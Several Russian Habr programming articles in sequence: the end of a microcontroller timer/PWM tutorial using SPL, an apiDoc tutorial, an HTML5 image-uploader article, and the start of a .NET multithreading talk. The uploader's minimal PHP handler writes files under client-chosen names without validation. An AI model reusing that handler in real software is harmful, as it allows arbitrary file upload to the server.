#define TIMER_EvSrc_TM3 (((uint32_t)0x3) << TIMER_CNTRL_EVENT_SEL_Pos) /*!< Selects TIMER3 (CNT == ARR) event. */
#define TIMER_EvSrc_CH1 (((uint32_t)0x4) << TIMER_CNTRL_EVENT_SEL_Pos) /*!< Selects Channel 1 event. */
#define TIMER_EvSrc_CH2 (((uint32_t)0x5) << TIMER_CNTRL_EVENT_SEL_Pos) /*!< Selects Channel 2 event. */
#define TIMER_EvSrc_CH3 (((uint32_t)0x6) << TIMER_CNTRL_EVENT_SEL_Pos) /*!< Selects Channel 3 event. */
#define TIMER_EvSrc_CH4 (((uint32_t)0x7) << TIMER_CNTRL_EVENT_SEL_Pos) /*!< Selects Channel 4 event. */
#define TIMER_EvSrc_ETR (((uint32_t)0x8) << TIMER_CNTRL_EVENT_SEL_Pos) /*!< Selects ETR event. */
```
Так же не забудем про включение тактирования таймера и подачу на него тактового сигнала для счета.**Вот так мы инициализировали таймер.**TIMER\_CntInitTypeDef timerButtonCheck\_structInit; // Структура для настройки основного таймера вызова прерывания для опроса клавиш.
RST\_CLK\_PCLKcmd(RST\_CLK\_PCLK\_TIMER2, ENABLE); // Включаем тактирование таймера 1.
TIMER\_BRGInit(MDR\_TIMER2, TIMER\_HCLKdiv1); // Подаем источник сигнала для счета (частота процессора без предделителя).
// Заполняем структуру основного таймера.
timerButtonCheck\_structInit.TIMER\_ARR\_UpdateMode = TIMER\_ARR\_Update\_Immediately; // Регистр ARR можно обновлять в любое время.
timerButtonCheck\_structInit.TIMER\_BRK\_Polarity = TIMER\_BRKPolarity\_NonInverted; // BRK сигнал не инвертируется (нас этот параметр не касается).
timerButtonCheck\_structInit.TIMER\_CounterDirection = TIMER\_CntDir\_Up; // Считаем «вверх». CNT инкрементируется (CNT++).
timerButtonCheck\_structInit.TIMER\_CounterMode = TIMER\_CntMode\_ClkFixedDir; // Считаем в одну сторону, вверх.
timerButtonCheck\_structInit.TIMER\_ETR\_FilterConf = TIMER\_Filter\_1FF\_at\_TIMER\_CLK; // Сигнал зафиксирован в 1-м триггере на частоте TIM\_CLK (В нашем случае оставляем по-умолчанию).
timerButtonCheck\_structInit.TIMER\_ETR\_Polarity = TIMER\_ETRPolarity\_NonInverted; // ETR на входе не инвертируется (мы его и не используем).
timerButtonCheck\_structInit.TIMER\_ETR\_Prescaler = TIMER\_ETR\_Prescaler\_None; // Частота ETR на входе не делится (ETR не используем.).
timerButtonCheck\_structInit.TIMER\_EventSource = TIMER\_EvSrc\_TM2; // Таймер вызывает прерывание при CNT = ARR.
timerButtonCheck\_structInit.TIMER\_FilterSampling = TIMER\_FDTS\_TIMER\_CLK\_div\_1; // FDTS = TIMER\_CLK. (Так не используем.).
timerButtonCheck\_structInit.TIMER\_IniCounter = 0; // Считаем с 0. Начальное значение счетчика. (CNT = 0.).
timerButtonCheck\_structInit.TIMER\_Period = 250/25; // Считаем до указанного в параметрах функции значения (ARR = PWM\_speed).
timerButtonCheck\_structInit.TIMER\_Prescaler = 32000 — 1; // Делитель входного сигнала. PSG регистр.
TIMER\_CntInit(MDR\_TIMER2, &timerButtonCheck\_structInit); // Инициализируем основной таймер.Далее воспользуемся встроенной в CMSIS функцией для разрешения прерывания от всего таймера (ее мы разобрали в предыдущей статье) и включим таймер.**Полноценная функция инициализации.**
```
// Настройка таймера для генерации прерываний 25 раз в секунду при помощи SPL.
void initTimerButtonCheckSPL (void)
{
TIMER_CntInitTypeDef timerButtonCheck_structInit; // Структура для настройки основного таймера вызова прерывания для опроса клавиш.
RST_CLK_PCLKcmd(RST_CLK_PCLK_TIMER2, ENABLE); // Включаем тактирование таймера 1.
TIMER_BRGInit(MDR_TIMER2, TIMER_HCLKdiv1); // Подаем источник сигнала для счета (частота процессора без предделителя).
// Заполняем структуру основного таймера.
timerButtonCheck_structInit.TIMER_ARR_UpdateMode = TIMER_ARR_Update_Immediately; // Регистр ARR можно обновлять в любое время.
timerButtonCheck_structInit.TIMER_BRK_Polarity = TIMER_BRKPolarity_NonInverted; // BRK сигнал не инвертируется (нас этот параметр не касается).
timerButtonCheck_structInit.TIMER_CounterDirection = TIMER_CntDir_Up; // Считаем "вверх". CNT инкрементируется (CNT++).
timerButtonCheck_structInit.TIMER_CounterMode = TIMER_CntMode_ClkFixedDir; // Считаем в одну сторону, вверх.
timerButtonCheck_structInit.TIMER_ETR_FilterConf = TIMER_Filter_1FF_at_TIMER_CLK; // Сигнал зафиксирован в 1-м триггере на частоте TIM_CLK (В нашем случае оставляем по-умолчанию).
timerButtonCheck_structInit.TIMER_ETR_Polarity = TIMER_ETRPolarity_NonInverted; // ETR на входе не инвертируется (мы его и не используем).
timerButtonCheck_structInit.TIMER_ETR_Prescaler = TIMER_ETR_Prescaler_None; // Частота ETR на входе не делится (ETR не используем.).
timerButtonCheck_structInit.TIMER_EventSource = TIMER_EvSrc_TM2; // Таймер вызывает прерывание при CNT = ARR.
timerButtonCheck_structInit.TIMER_FilterSampling = TIMER_FDTS_TIMER_CLK_div_1; // FDTS = TIMER_CLK. (Так не используем.).
timerButtonCheck_structInit.TIMER_IniCounter = 0; // Считаем с 0. Начальное значение счетчика. (CNT = 0.).
timerButtonCheck_structInit.TIMER_Period = 250/25; // Считаем до указанного в параметрах функции значения (ARR = PWM_speed).
timerButtonCheck_structInit.TIMER_Prescaler = 32000 - 1; // Делитель входного сигнала. PSG регистр.
TIMER_CntInit(MDR_TIMER2, &timerButtonCheck_structInit); // Инициализируем основной таймер.
TIMER_ITConfig(MDR_TIMER2, TIMER_STATUS_CNT_ARR, ENABLE); // Разрешаем прерывание по CNT = ARR.
NVIC_EnableIRQ(Timer2_IRQn); // Разрешаем прерывание от таймера в целом.
TIMER_Cmd(MDR_TIMER2, ENABLE); // Включаем таймер.
}
```
#### Переводим прерывание на SPL.
Последним шагом будет перевод на SPL функций в прерывании. Прерывание имеет все то же стандартное имя, указанное в стартап файле. Помним, что при входе в прерывание нам нужно сбросить флаг статуса таймера. Для этого служит функция **TIMER\_ClearFlag**.
```
void TIMER_ClearFlag(MDR_TIMER_TypeDef* TIMERx, uint32_t Flags)
```
В качестве параметров требуется указать имя порта и флага прерывания. В нашем случае будет:
```
TIMER_ClearFlag(MDR_TIMER2, TIMER_STATUS_CNT_ARR); // Сбрасываем флаг. Обязательно первой коммандой.
```
После этого мы инвертировали состояние светодиода, показывая, что прерывание сработало. В SPL нет функции инвертирования бита, зато есть функция чтения и записи единичных бит. Ими и воспользуемся.
```
uint8_t PORT_ReadInputDataBit(MDR_PORT_TypeDef* PORTx, uint32_t PORT_Pin);
void PORT_WriteBit(MDR_PORT_TypeDef* PORTx, uint32_t PORT_Pin, BitAction BitVal);
```
У обеих первым параметром идет имя порта, далее у функции чтения нужно указать имя пина. Указывается именно **маска**. У функции записи, после имени порта следует указать бит, который записывается (так же маской) и значение бита (0 или 1). Функцию чтения можно использовать как параметр функции записи. Тогда мы получим:
```
PORT_WriteBit(MDR_PORTC, LED1, !PORT_ReadInputDataBit(MDR_PORTC, LED1)); // Записываем инвертированное значение бита.
```
После этого нам нужно считывать данные с кнопок. Причем по одной кнопке. Для этого воспользуемся функцией **PORT\_ReadInputDataBit**, разобранной выше.**Опрос кнопок будет выглядеть так.**
```
if (PORT_ReadInputDataBit(MDR_PORTB, UP_MSK) == 0) PWM_speed--; // Проверяем, нажата ли какая-нибудь клавиша. Если нажата - что-то делаем с частотой.
else if (PORT_ReadInputDataBit(MDR_PORTE, DOWN_MSK) == 0) PWM_speed++;
else if (PORT_ReadInputDataBit(MDR_PORTE, LEFT_MSK) == 0) PWM_speed--;
else if (PORT_ReadInputDataBit(MDR_PORTB, RIGHT_MSK)== 0) PWM_speed++;
```
Осталось только сменить частоту по окончании опроса кнопок. Для этого есть функция **TIMER\_SetCntAutoreload**.
```
void TIMER_SetCntAutoreload(MDR_TIMER_TypeDef* TIMERx, uint16_t Autoreload)
```
Нам нужно лишь указать таймер с PWM и новую частоту.**По итогу имеем прерывание вида.**
```
void Timer2_IRQHandler (void)
{
TIMER_ClearFlag(MDR_TIMER2, TIMER_STATUS_CNT_ARR); // Сбрасываем флаг. Обязательно первой коммандой.
PORT_WriteBit(MDR_PORTC, LED1, !PORT_ReadInputDataBit(MDR_PORTC, LED1)); // Записываем инвертированное значение бита.
if (PORT_ReadInputDataBit(MDR_PORTB, UP_MSK) == 0) PWM_speed--; // Проверяем, нажата ли какая-нибудь клавиша. Если нажата - что-то делаем с частотой.
else if (PORT_ReadInputDataBit(MDR_PORTE, DOWN_MSK) == 0) PWM_speed++;
else if (PORT_ReadInputDataBit(MDR_PORTE, LEFT_MSK) == 0) PWM_speed--;
else if (PORT_ReadInputDataBit(MDR_PORTB, RIGHT_MSK)== 0) PWM_speed++;
// Проверяем, чтобы частота не вышла за пределы диапазона от 250 Гц до 0.5 Гц.
if (PWM_speed < 1) PWM_speed = 1;
else if (PWM_speed > 500) PWM_speed = 500;
TIMER_SetCntAutoreload(MDR_TIMER1, PWM_speed); // Меняем частоту.
}
```
#### Подведение итогов.
Как мы могли убедиться, с использованием SPL код стал выглядеть намного обьёмнее. Но давайте сравним вес полученного кода. В код, написанный лишь с использованием CMSIS со всеми видами оптимизации занимает столько.
Наш же код с оптимизацией -O0 весит столько.
С оптимизацией -O3.
Код с использованием SPL весит в 2-2.5 раза больше, чем написанный вручную. Результат не плохой, но все же уступает ручному написанию. Скорость выполнения, конечно, много меньше. Это тема отдельной статьи, коих не мало. Теперь подведем итоги.##### Плюсы использования SPL
1. Написанный с помощью SPL код воспринимается однозначно, при наличии соответствующего описания к самой SPL (чего пока, к сожалению, нет).
2. При правильном заполнении структур — все будет сконфигурировано верно. Отсутствие ошибок. Мне пока не удалось обнаружить ни единой ошибки в SPL. Даже несмотря на то, что это B-версия.
##### Минусы использования SPL
1. Размер кода больше, чем при ручной настройке.
2. Скорость выполнения так же ниже.
3. На данный момент с SPL сложнее разобраться, чем с CMSIS.
4. Не всегда можно угадать логику человека, который писал библиотеку. Порой неработоспособность объясняется тем, что то, что должно было быть включено в функцию — вынесено из нее в другу.
5. Огромное количество места строк кода для инициализации структур.
#### Вывод
SPL имеет право на жизнь, но лишь после того, как будут ясно описаны все его возможности. Причем использовать его возможно лишь в задачах, где не требуется много вычислительной мощности и объема памяти. Лично мне оказалось **гораздо проще** настроить всю описанную периферию, читая документацию и пропуская не нужные регистры.
Проект на [github](https://github.com/Vadimatorik/k1986be92qi_pwm_spl).
P.S. Спасибо [Amomum](https://habr.com/ru/users/amomum/) за подсказку с --feedback unused. Благодаря этому код стал весить действительно много меньше, в связи с этим подправил статью.
**Список предыдущих статей.*** 1. [Переходим с STM32F103 на К1986ВЕ92QI. Или первое знакомство с российским микроконтроллером.](http://habrahabr.ru/post/255199/#first_unread)
* 2. [Переходим с STM32 на российский микроконтроллер К1986ВЕ92QI. Настройка проекта в keil и мигание светодиодом.](http://habrahabr.ru/post/255323/)
* 3. [Переходим с STM32 на российский микроконтроллер К1986ВЕ92QI. Системный таймер (SysTick).](http://habrahabr.ru/post/255415/)
* 4. [Переходим с STM32 на российский микроконтроллер К1986ВЕ92QI. Настройка тактовой частоты.](http://habrahabr.ru/post/255479/)
* 5. [Переходим с STM32 на российский микроконтроллер К1986ВЕ92QI. Практическое применение: Генерируем и воспроизводим звук. Часть первая: генерируем прямоугольный и синусоидальный сигнал. Освоение ЦАП (DAC).](http://habrahabr.ru/post/255513/)
* 6. [Переходим с STM32 на российский микроконтроллер К1986ВЕ92QI. Практическое применение: Генерируем и воспроизводим звук. Часть вторая: генерируем синусоидальный сигнал. Освоение DMA.](http://habrahabr.ru/post/256091/)
* 7. [Переходим с STM32 на российский микроконтроллер К1986ВЕ92QI. Практическое применение: Генерируем и воспроизводим звук. Часть третья: генерируем синусоидальный сигнал. Простой взгляд на DMA + первое знакомство с таймерами.](http://habrahabr.ru/post/256577/)
* 8. [Переходим с STM32 на российский микроконтроллер К1986ВЕ92QI. Практическое применение: Генерируем и воспроизводим звук. Часть четвертая: создаем цифровую часть одноголосной и многоголосой музыкальной открытки.](http://habrahabr.ru/post/256621/)
* 9, [Переходим с STM32 на российский микроконтроллер К1986ВЕ92QI. Практическое применение: Опрашиваем клавиши, генерируем ШИМ. Сравнение кода на CMSIS и SPL (PWM+TIM+PORT). Часть первая.](http://habrahabr.ru/post/267051/) | https://habr.com/ru/post/270863/ | null | ru | null |
# Как сделать красивую документацию для Web API, за которую будет не стыдно
Я хотел бы рассказать вам об утилите, с которой вы сможете забыть о боли создания документации для Web API. О том как это сделать прошу всех под кат.
Итак, добро пожаловать под кат, {username}! Ты возможно спросишь с помощью чего так красиво получается? Ответ: apiDoc. Что еще за apiDoc? apiDoc — это утилита для генерации документации основываясь на комментариях в коде. Но с одной оговоркой, эти комментарии должны быть определенного вида. Можно создавать документацию для проектов на: C#, Dart, Erlang, Go, Java, Javascript, PHP, Python, Ruby, Perl и прочих. Но в этой статье я расскажу как сделать такую красивую документацию на основе проекта на Python.
Для этого вам понадобится:
* Node.js(с npm)
* Проект который нужно задокументировать
* Немного свободного времени
Установка Node.js
-----------------
Те у кого установлен пакет с Node.js, пропустите данный пункт но убедитесь что у вас работает npm. А остальные должны скачать с сайта [nodejs.org](https://nodejs.org) инсталлятор и установить его. Проследите чтобы Node.js попал в переменную $PATH. Пример установщика для Mac OS X:
Установка apiDoc
----------------
Надеюсь все справились с установкой Node.JS и мы можем перейти далее. Для установки apiDoc откройте терминал (командную строку в Windows) и запустите команду:
```
sudo npm install -g apidoc
```
И на выходе вы должны получить что-то вроде этого.
Подготовка к созданию документации
----------------------------------
Ну вот мы и добрались до создания документации. Для того чтобы сгенерировать документацию необходимо сделать комментарии в коде. Вот пример комментария в коде.
```
"""
@api {get} /2/get_news?offset=:offset&count=:count Получение новостей
@apiName GetNews
@apiGroup News
@apiVersion 0.2.0
@apiParam {String} [count=5] Количество новостей
@apiParam {String} [offset=0] Кол-во пропущенных новостей с начала
"""
```
Что есть что? Приведу описание некоторых основных «тегов» для генерирования документации. Все теги можно посмотреть [здесь](http://apidocjs.com).
#### @api
Обязательный тег для генерации документации.
**Использование**
```
@api {method} path [title]
```
method — типа запроса (GET,POST,PUT и т.д.)
path — путь до метода например /2/get\_news
title — название метода которое будет отображаться в документации
#### Пример использования:
```
"""
@api {get} /user/:id
"""
```
#### @apiName
Тег определяющий название блока документации. Рекомендуется всегда использовать.
**Использование**
```
@apiName name
```
name — название метода
#### Пример использования:
```
"""
@apiName GetNews
"""
```
#### @apiGroup
Тег связывающий блоки документации в одну группу на сайте документации.
**Использование**
```
@apiGroup name
```
name — название группы
#### Пример использования:
```
"""
@apiGroup News
"""
```
#### @apiVersion
Тег используется для определения версии метода.
**Результат версионирования:**
**Использование**
```
@apiVersion version
```
version — версия метода согласно семантическому версионированию подробнее по ссылке [здесь](http://semver.org).
#### Пример использования:
```
"""
@apiVersion 0.2.0
"""
```
#### @apiSuccess
Тег используется для описания параметра передаваемого в метод
**Использование**
```
@apiSuccess [{type}] field [description]
```
type — тип объекта({Boolean}, {Number}, {String}, {Object}, {String[]} и прочие)
field — название объекта который будет получен после запроса
description — описание этого объекта
#### Пример использования:
```
"""
@api {get} /user/:id
@apiSuccess {String} firstname Firstname of the User.
@apiSuccess {String} lastname Lastname of the User.
"""
```
Изготовление документации
-------------------------
Итак, после краткого введения в теги apiDoc можно попробовать создать документацию, для этого нужно подготовить поле действий. Для этого положите в корень файл конфигурации apidoc.json.
**Пример acidoc.json**
```
{
"name": "Мой НГТУ", //Название проекта
"version": "0.2.0", //Текущая версия API(будет сравниваться с предыдущими)
"description": "Мой НГТУ - облачная студенческая платформа", //Описание проекта
"title": "Документация API Мой НГТУ", //Название страницы API
"url" : "https://api.mynstu.me", //Расположение Web API
"sampleUrl": "https://api.mynstu.me", //Расположение Web API
"template": { //Конфигурация шаблона
"withCompare": true, //Включаем сравнение
"withGenerator": true // Ну и то что будет генерировать apiDoc
}
}
```
Далее для генерации следует запустить команду:
```
apidoc
```
На выходе вы получите это:
Документацию можно забрать в папке doc которая лежит в корне вашего проекта. Чтобы посмотреть результат откройте index.html.
Итоги
-----
У нас получилось сделать практичную и красивую документацию. Вот как она выглядит:
Посмотреть как она выглядит полностью и понажимать на кнопочки можно [здесь](https://api.mynstu.me/docs). | https://habr.com/ru/post/262813/ | null | ru | null |
# Загрузчик изображений и миниатюр. Новые стандарты, старые проблемы
#### Предисловие
Всем привет. Не так давно я написал [статью о создании загрузчика изображений на флеше](http://habrahabr.ru/blogs/Flash_Platform/132489/). Там я упомянул, что загрузчик можно реализовать и с помощью html5 File API. Несколько вечеров и — ура — я это сделал. Настало время рассказать, какие приемы я использовал, в каких браузерах это работает, и стоит ли этим вообще пользоваться.
Напомню вкратце требования: необходимо реализовать загрузчик изображений, поддерживающий пакетную загрузку, создание миниатюр(и загрузку их на сервер), и приемлемый интерфейс.
Я прекрасно понимаю, что моя статья использует текущую реализацию ещё не до конца проработанного стандарта, а потому перечислю браузеры, актуальные на сегодняшний момент:
1. Firefox 8
2. Chrome 15
3. Opera 11.60 beta
4. Safari 5.1.1
5. Internet Explorer 9
Теперь о грустном. Для ИЕ 9 нет реализации File API, поэтому его(браузер) я не буду рассматривать. Ну что ж поехали.
#### Внешний вид
С незапамятных времен стояла задача сделать стильной кнопку для вызова диалога выбора файлов. Поэтому в ход шли яростные костыли. Например, популярное решение — сделать инпут прозрачным и повесить поверх красивого дива. То есть всё зависит от инпута, от его размера. Все вышеперечисленные браузеры поддерживают иное решение. В них можно программно генерировать click инпута. А по сути вызывать диалог выбора файлов. А сам инпут можно легко скрыть:
```
```
```
var input = document.querySelector("#input\_file");
var btn = document.querySelector("#button");
btn.onclick = function () {
input.click();
};
```
Такой способ позволяет забыть об инпуте как о элементе управления, что по-моему очень удобно.
#### О загрузке файла в браузер
Для того, чтобы манипулировать данными файла, например, ресайзить картинку, необходимо получить эти данные. Для этого понадобится FileReader. Для того, чтобы создать миниатюры, возьмем Canvas и загрузим туда данные файла. Это возможно, если представить данные в виде base64:
```
var files;
var reader = new FileReader();
var cv = document.createElement("canvas");
var cvContext = cv.getContext("2d");
input.onchange = function () {
files = input.files;
reader.readAsDataURL(files[0]);
};
reader.onload = function (e) {
var im = new Image();
im.onload = function (e) {
cv.width = 100;
cv.height = 100;
cvContext.drawImage(im, 0, 0, 100, 100);
// здесь мы должны достать миниатюру из canvas и передать её на сервер вместе с оригиналом
}
im.src = reader.result;
};
```
Пока всё достаточно прозрачно. Однако надо сразу сказать, что загрузка данных в браузер не поддерживается в Сафари. Самое интересное, что загрузить файл на сервер можно, а в браузер нет. Не поддерживается ни FileReader, ни URL. Впрочем, для нашей задачи есть одно решение, но я бы его, если честно, использовать не стал. Позже я к этому вернусь.
#### О получении миниатюр и отправке на сервер
Итак. У нас есть оригинал изображения. У нас есть миниатюры в canvas. Нам нужно всё это достать, сгруппировать и отправить на сервер. Чего проще, правда? Вот тут и возникают проблемы. На этом этапе браузеры ведут себя совершенно по-разному. Рассмотрим решения для каждого. Разумеется, от простого к сложному.
##### Firefox
Тут всё просто. У canvas есть метод mozGetAsFile, название которого говорит само за себя. Фаерфокс также поддерживает FormData. А это значит, что есть контейнер для наших файлов. XMLHttpRequest легко отправит эти данные на сервер, где их можно подцепить. Процесс загрузки можно отслеживать с помощью upload.onprogress.
```
var blobData = cv.mozGetAsFile(name, files[0].type);
var form = new FormData();
form.append("Filedata0", files[0]);
form.append("Filedata1", blobData);
var xhr = new XMLHttpRequest();
xhr.open("POST", "load.php", true);
xhr.onload = function () {
console.log(this.response);
}
xhr.upload.onprogress = function (e) {
console.log(e.position / e.totalSize) * 100;
}
xhr.send(form);
```
Минус тут только один. Метод mozGetAsFile не дает возможности выбрать качество выгружаемого изображения.
##### Chrome
Вот тут никакого mozGetAsFile нет и в помине. Есть возможность получить изображение в base64(Это делает метод toDataURL). Но это меня не устроило, и я всё-таки привел изображение к blob. Комментарии в коде:
```
var BlobBuilder = window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder;
//получаем данные в виде base64, второй параметр задает качество (от 0 до 1)
var sBase64 = canva.toDataURL(type, 1);
var aBase64 = sBase64.split(',');
//раскодируем обратно
var sData = atob(aBase64[1]);
var aBufferView = new Uint8Array(sData.length);
//создаем ArrayBuffer на основе строки
for (var i = 0; i < aBufferView.length; i++) {
aBufferView[i] = sData.charCodeAt(i);
}
// с помощью BlobBuilder переводим в blob
var builder = new BlobBuilder();
builder.append(aBufferView.buffer);
var blobData = builder.getBlob(type);
```
Вот эти данные уже можно записать в FormData и отправлять так же, как в фаерфоксе.
##### Opera
Вот тут у нас возникнут большие проблемы. Получить миниатюру и превратить её в ArrayBuffer можно так же, как и в Хроме, а вот как отправить? Opera не поддерживает FormData и BlobBuilder. А XMLHttpRequest может отправлять кроме текста только ArrayBuffer. Тут нам поможет опыт создания загрузчика на флеше. Нам придется самим генерировать заголовок формы с данными, записывать его в ArrayBuffer и отправлять.
```
var sBase64 = canva.toDataURL(type, 1);
var aBase64 = sBase64.split(',');
var sData = atob(aBase64[1]);
var aBufferView = new Uint8Array(sData.length);
for (var i = 0; i < aBufferView.length; i++) {
aBufferView[i] = sData.charCodeAt(i);
}
var fBuilder = new FormBuilder();
fBuilder.addFile(aBufferView);
var form = fBuilder.getForm();
var xhr = new XMLHttpRequest();
xhr.open("POST", "load.php", true);
xhr.onload = function () {
alert(this.response);
}
xhr.setRequestHeader('Content-type', 'multipart/form-data; boundary=' + fBuilder.BOUND);
xhr.send(form);
function FormBuilder() {
this.getBoundary = function () {
var _boundary = "";
for (var i = 0; i < 0x20; i++) {
_boundary += String.fromCharCode(97 + Math.random() * 25);
}
return _boundary;
}
this.addFile = function (name, buffer) {
var sHeader = this.ADDB + this.BOUND;
sHeader += this.ENTER;
sHeader += 'Content-Disposition: form-data; name="Filedata' + this.index + '"; filename="' + name + '"';
sHeader += this.ENTER;
sHeader += 'Content-Type: application/octet-stream';
sHeader += this.ENTER;
sHeader += this.ENTER;
this.index++;
this.header = this.sumBuffers(this.header, this.StrToBuffer(sHeader), buffer, this.EnterBuffer);
}
this.addParam = function (name, value) {
var sHeader = this.ADDB + this.BOUND;
sHeader += this.ENTER;
sHeader += 'Content-Disposition: form-data; name="'+ name + '"';
sHeader += this.ENTER;
sHeader += this.ENTER;
sHeader += value;
sHeader += this.ENTER;
this.header = this.sumBuffers(this.header, this.StrToBuffer(sHeader));
}
this.getForm = function () {
var sHeader = this.ENTER;
sHeader += this.ENTER;
sHeader += (this.ADDB + this.BOUND + this.ADDB);
var aHeader = this.StrToBuffer(sHeader);
return this.sumBuffers(this.header, aHeader).buffer;
}
this.StrToBuffer = function (str) {
var buffer = new Uint8Array(str.length);
for (var i = 0; i < buffer.length; i++) {
buffer[i] = str.charCodeAt(i);
}
return buffer;
}
this.sumBuffers = function () {
var sumLength = 0, position = 0, aSumHeader;
for (var i = 0; i < arguments.length; i++) {
sumLength += arguments[i].length;
}
aSumHeader = new Uint8Array(sumLength);
for (var i = 0; i < arguments.length; i++) {
aSumHeader.set(arguments[i], position);
position += arguments[i].length;
}
return aSumHeader;
}
this.BOUND = this.getBoundary();
this.ENTER = "\r\n";
this.EnterBuffer = this.StrToBuffer(this.ENTER);
this.ADDB = "--";
this.index = 0;
this.header = new Uint8Array(0);
}
```
Это такой вольный перевод из actionscript в javascript моего класса из первой статьи. С его помощью мы по сути эмулируем FormData. Кстати, в Хроме он прекрасно работает. А вот фаерфокс ругается — он не умеет передавать ArrayBuffer.
Вернемся к Опере. Всё работает, однако отслеживать загрузку не получится: onprogress в Опере не поддерживается(как кстати и во флешевском URLLoader).
##### Safari
Я уже говорил выше, что в Сафари у нас нет доступа к данным файла, и поэтому сделать практически ничего нельзя. Однако если уж вы решили непременно сделать функциональный загрузчик изображений на html5 и с поддержкой Сафари, то псевдорешение есть. Дело в том, хоть и доступа к данным файла нет, но загрузить его на сервер можно. А уж на сервере можно делать всё, что угодно. Идея проста: получив и сохранив файл, передать его обратно(в виде base64 или просто ссылки с последующей загрузкой в Canvas). А уж тут попытаться реализовать один из предложенных выше вариантов. Естественно, способ нехорош, однако если совсем необходимо, то можно сделать и так.
#### Заключение
Выводы из всего вышеизложенного выходят довольно простые. Во-первых, File API ещё явно не созрел. Браузеры пытаются как-то поддерживать то, что есть в спецификации, но стандарт ещё на стадии обсуждения и доработки. Несмотря на это, всё-таки мы имеем довольно мощный инструмент, который позволяет решать задачи не только на бумаге.
Надеюсь, статья кому-нибудь поможет.
#### Пример
Привожу небольшое [демо](http://jsfiddle.net/AlvaroJDart/9ydPV/10/), функциональность там минимальна, однако демонстрирует, как это должно работать.
Да, и ещё. Минимальный код на сервере для этого примера вот такой:
```
foreach($_FILES as $key => $value){
$filename = substr_replace($key, '.', -4, 1);
move_uploaded_file($value['tmp_name'], $filename);
}
echo 'complete';
```
Если будет нужен полноценный загрузчик со всеми вилюшками и фичами, то пишите. Может быть и сделаю.
И, конечно, не забываем, что версия Оперы для примера 11.60 beta. | https://habr.com/ru/post/133351/ | null | ru | null |
# Многопоточность в .NET: когда не хватает производительности
Платформа .NET предоставляет множество готовых примитивов синхронизации и потокобезопасных коллекций. Если при разработке приложения нужно реализовать, например, потокобезопасный кэш или очередь запросов — обычно используются эти готовые решения, иногда сразу несколько. В отдельных случаях это приводит к проблемам с производительностью: долгим ожиданием на блокировках, избыточному потреблению памяти и долгим сборкам мусора.
Эти проблемы можно решить, если учесть, что стандартные решения сделаны достаточно общими — они могут иметь избыточный в наших сценариях оверхед. Соответственно, можно написать, например, собственную эффективную потокобезопасную коллекцию для конкретного случая.
Под катом — видео и расшифровка моего доклада с конференции [DotNext](https://dotnext-moscow.ru/?utm_source=habr&utm_medium=468611&utm_campaign=dotnext19msk), где я разбираю несколько примеров, когда использование средств из стандартной библиотеки .NET (Task.Delay, SemaphoreSlim, ConcurrentDictionary) привело к просадкам производительности, и предлагаю решения, заточенные под конкретные задачи и лишённые этих недостатков.
На момент доклада работал в Контуре. Контур разрабатывает различные приложения для бизнеса, а команда, в которой работал я, занимается инфраструктурой и разрабатывает различные вспомогательные сервисы и библиотеки, помогающие разработчикам в других командах делать продуктовые сервисы.
Команда Инфраструктуры делает свое хранилище данных, систему хостинга приложений под Windows и различные библиотеки для разработки микросервисов. Наши приложения основаны на микросервисной архитектуре — все сервисы взаимодействуют между собой по сети, и, естественно, в них используется довольно много асинхронного и многопоточного кода. Некоторые из этих приложений довольно критичны по производительности, им нужно уметь обрабатывать много запросов.
О чём мы сегодня будем говорить?
* Многопоточность и асинхронность в .NET;
* Начинка примитивов синхронизации и коллекций;
* Что делать, если стандартные подходы не справляются с нагрузкой?
Разберем некоторые особенности работы с многопоточным и асинхронным кодом в .NET. Разберём некоторые примитивы синхронизации и concurrent-коллекции, посмотрим, как они устроены внутри. Обсудим, что делать, если не хватило производительности, если стандартные классы не справляются с нагрузкой и можно ли в этой ситуации что-либо сделать.
Расскажу четыре истории, которые произошли у нас на продакшене.
История 1: Task.Delay & TimerQueue
----------------------------------
Эта история уже довольно известная, о ней рассказывали в том числе и на предыдущих DotNext. Тем не менее, она получила довольно интересное продолжение, поэтому я её добавил. Итак, в чём суть?
### 1.1 Polling и long polling
Сервер выполняет долгие операции, клиент – ждет их.
**Polling:** клиент периодически спрашивает сервер про результат.
**Long polling:** клиент отправляет запрос с большим таймаутом, а сервер отвечает по завершению операции.
Преимущества:
* Меньший объем трафика
* Клиент узнает о результате быстрее
Представьте, что у нас есть сервер, который умеет обрабатывать какие-то долгие запросы, например, приложение, которое конвертирует XML-файлы в PDF, и есть клиенты, которые запускают эти задачи на обработку и хотят дожидаться их результата асинхронно. Как такое ожидание можно реализовать?
Первый способ — это **polling**. Клиент запускает задачу на сервере, дальше периодически проверяет статус этой задачи, при этом сервер возвращает статус задачи («выполнена»/«не выполнена»/«завершилась с ошибкой»). Клиент периодически отправляет запросы, пока не появится результат.
Второй способ — **long polling**. Здесь отличие в том, что клиент отправляет запросы с большими таймаутами. Сервер, получая такой запрос, не сразу сообщит о том, что задача не выполнена, а попробует некоторое время подождать появления результата.
Так в чем же преимущество long polling'а перед обычным polling'ом? Во-первых, генерируется меньший объём трафика. Мы делаем меньше сетевых запросов — меньше трафика гоняется по сети. Также клиент сможет узнать о результате быстрее, чем при обычном polling'е, потому что ему не надо ждать промежутка между несколькими запросами polling'а. Что мы хотим получить — понятно. Как мы будем реализовывать это в коде?
> Задача: timeout
>
> Хотим подождать Task с таймаутом
>
> await SendAsync ();
Например, у нас есть Task, который отправляет запрос на сервер, и мы хотим подождать его результата с таймаутом, то есть мы либо вернём результат этого Task'а, либо отправим какую-то ошибку. Код на С# будет выглядеть так:
```
var sendTask = SendAsync();
var delayTask = Task.Delay(timeout);
var task = await Task.WhenAny(sendTask, delayTask);
if (task == delayTask)
return Timeout;
```
Данный код запускает наш Task, результат которого хотим ждать, и Task.Delay. Далее, используя Task.WhenAny, ждём либо наш Task, либо Task.Delay. Если получится так, что первым выполнится Task.Delay, значит, время вышло и у нас случился таймаут, мы должны вернуть ошибку.
Этот код, конечно, не идеален и его можно доработать. Например, здесь бы не помешало отменить Task.Delay, если SendAsync вернулся раньше, но это нас сейчас не очень интересует. Суть в том, что, если мы напишем такой код и применим его при long polling'е с большими таймаутами, мы получим некоторые перформансные проблемы.
### 1.2 Проблемы при long polling
* Большие таймауты
* Много параллельных запросов
* => Высокая загрузка CPU
В этом случае, проблема — высокое потребление ресурсов процессора. Может получиться так, что процессор загрузится полностью на 100%, и приложение вообще перестанет работать. Казалось бы, мы вообще не потребляем ресурсов процессора: мы делаем какие-то асинхронные операции, дожидаемся ответа с сервера, а процессор у нас всё равно загружен.
